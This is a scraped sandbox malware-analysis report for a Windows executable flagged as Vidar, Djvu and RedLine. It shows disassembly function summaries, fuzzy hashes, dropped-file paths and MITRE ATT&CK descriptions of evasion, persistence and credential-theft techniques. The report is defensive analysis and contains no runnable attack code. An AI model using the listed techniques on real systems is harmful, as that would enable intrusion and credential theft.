Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<bool> too long
API String ID: 1785806476-842332957
Opcode ID: e720bbc1dc0347a1e76e21a25c30d8c9eb042200c0232b621ec06fcb3d795e16
Instruction ID: f67d52a9c0306431363dd133055143931c74d59677bd7e0c4eaf49d2db804de9
Opcode Fuzzy Hash: e720bbc1dc0347a1e76e21a25c30d8c9eb042200c0232b621ec06fcb3d795e16
Instruction Fuzzy Hash: A101DF72A001055FC714CF69DCD08AEB3A9FB84398F91422AE92687644EB31E909CAA1

Function 689A3840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 689A3855

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 689A3880

Strings

vector<T> too long, xrefs: 689A3850

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: a7e164c8cc971a3565c273a09b4088b96fa941831afcb45a484a1545c86487b1
Instruction ID: 12f1241ebcccf86b9848f40f7ac8173ef0a5e96d80e43600baf96943b426f31c
Opcode Fuzzy Hash: a7e164c8cc971a3565c273a09b4088b96fa941831afcb45a484a1545c86487b1
Instruction Fuzzy Hash: D0018FB25006099FD324DFBDDC8486BF3ECEF542147918A3DE5AAD3A50EA71F8008B60

Function 68955160 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 68955173

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 6895519E

Strings

vector<T> too long, xrefs: 6895516E

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 4ed93cd575f847c483b5bde3c38be2f9ef12f4d42a1ffbb2ca90e3c6851b2da1
Instruction ID: 4bd98c9a28d0eb0139fdb03ec3603c14e194c1db6204b3a8811e86ade619755a
Opcode Fuzzy Hash: 4ed93cd575f847c483b5bde3c38be2f9ef12f4d42a1ffbb2ca90e3c6851b2da1
Instruction Fuzzy Hash: 1C018FB16002069FD728CEB8CC9183BB7E8EB642547944A2DE86BC3640E731F800CB61

Function 689ABFB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 689AABC3: __getptd.LIBCMT ref: 689AABC9
Part of subcall function 689AABC3: __getptd.LIBCMT ref: 689AABD9

__getptd.LIBCMT ref: 689ABFC3

Part of subcall function 689AEAE6: __getptd_noexit.LIBCMT ref: 689AEAE9
Part of subcall function 689AEAE6: __amsg_exit.LIBCMT ref: 689AEAF6

__getptd.LIBCMT ref: 689ABFD1

Strings

csm, xrefs: 689ABFDF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 86966626eb4e0d809bdbd7093bece3461dc5396f3a0cf366651c66bb381db945
Instruction ID: af4a0b5433392f6dee59744a288a07f08fc8ba517ff9e818c990df0f57ed167c
Opcode Fuzzy Hash: 86966626eb4e0d809bdbd7093bece3461dc5396f3a0cf366651c66bb381db945
Instruction Fuzzy Hash: 76016938800324CFDF248F61D484AADB3F9BF1831DFE0482EE066AA690CB30C580CB41

Function 68965900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 68965932
__CxxThrowException@8.LIBCMT ref: 68965947

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

Strings

Aj?Q, xrefs: 68965928, 6896593C, 6896593F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: Aj?Q
API String ID: 4063778783-52356588
Opcode ID: f063286983b431d750becf48729cb1542d0e6aa8eb2aa260d356591344293658
Instruction ID: edd7f3b8ef4c71806170e524a7f1069efcfceef63796466815f4d1c70582b601
Opcode Fuzzy Hash: f063286983b431d750becf48729cb1542d0e6aa8eb2aa260d356591344293658
Instruction Fuzzy Hash: E8E09B754101099AFB08EFE49C117BFB2BCAF10339FC0066CD93652181EF71D6048656

Function 689B3EA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 689B3ED9
DName::DName.LIBCMT ref: 689B3EE5

Strings

{flat}, xrefs: 689B3ED4

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: 03e1d03ae43464595dc4cbe03c8bf6e281a5421a5375276ac3f8de56af37590f
Instruction ID: 620d78efb682c69cbe3ce29a675d7e1a42a3c0135660fbd857f47fb2d7255471
Opcode Fuzzy Hash: 03e1d03ae43464595dc4cbe03c8bf6e281a5421a5375276ac3f8de56af37590f
Instruction Fuzzy Hash: 07F0A0751542489FCB00CF68C054BAE3FE49F82759F848042F85C0F242C772D442D751

Function 68957680 Relevance: 5.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,513F6A41), ref: 689576AD
LeaveCriticalSection.KERNEL32(?,?,?,513F6A41), ref: 689576FF
EnterCriticalSection.KERNEL32(513F6A41,?,?,?,513F6A41), ref: 6895770D
LeaveCriticalSection.KERNEL32(513F6A41,?,00000000,?,?,?,?,513F6A41), ref: 6895772A

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

Part of subcall function 68956D40: _rand.LIBCMT ref: 68956DEA

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CriticalSection$EnterLeave$_malloc_rand
String ID:
API String ID: 119520971-0
Opcode ID: 1f0b3a90d38050ad65afe83c9586f6e62896cde31acb508fd19da443521ad8c2
Instruction ID: 814f6ae785e33f26003005555167c41112f2728b07a3b774b944aa7dbfa195b9
Opcode Fuzzy Hash: 1f0b3a90d38050ad65afe83c9586f6e62896cde31acb508fd19da443521ad8c2
Instruction Fuzzy Hash: DC2180B6544609AFCB10CF64CC44AAFB7BCFF51255F40462AF82697640EB71EA05CBA1

Function 68959580 Relevance: 5.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?), ref: 689595A9
LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 689595CA
EnterCriticalSection.KERNEL32(00000000,?,?), ref: 689595DA
LeaveCriticalSection.KERNEL32(00000000,?,?,?), ref: 689595FB

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7de912444307bd38a32a5866f3c65fbe1306343bd0b25c78270bfeed1019b08d
Instruction ID: 3c183db93e13554cfb44ff5bae39f3f19c822b60b88fd6d82ee01d21a16aaee0
Opcode Fuzzy Hash: 7de912444307bd38a32a5866f3c65fbe1306343bd0b25c78270bfeed1019b08d
Instruction Fuzzy Hash: 3211AFB6A04108EFCB00CF99E880CEEF7BCFF51614B40419BE81197610D730EA21CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CHA0VZiz8y.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Threatname: RedLine

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Windows Media Player\background.jpg

C:\ProgramData\BJZFPPWAPT.docx

C:\ProgramData\BWDRWEEARI.xlsx

C:\ProgramData\CAKFIJDHJEGIDHJKKKJJ

Windows Analysis Report
CHA0VZiz8y.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

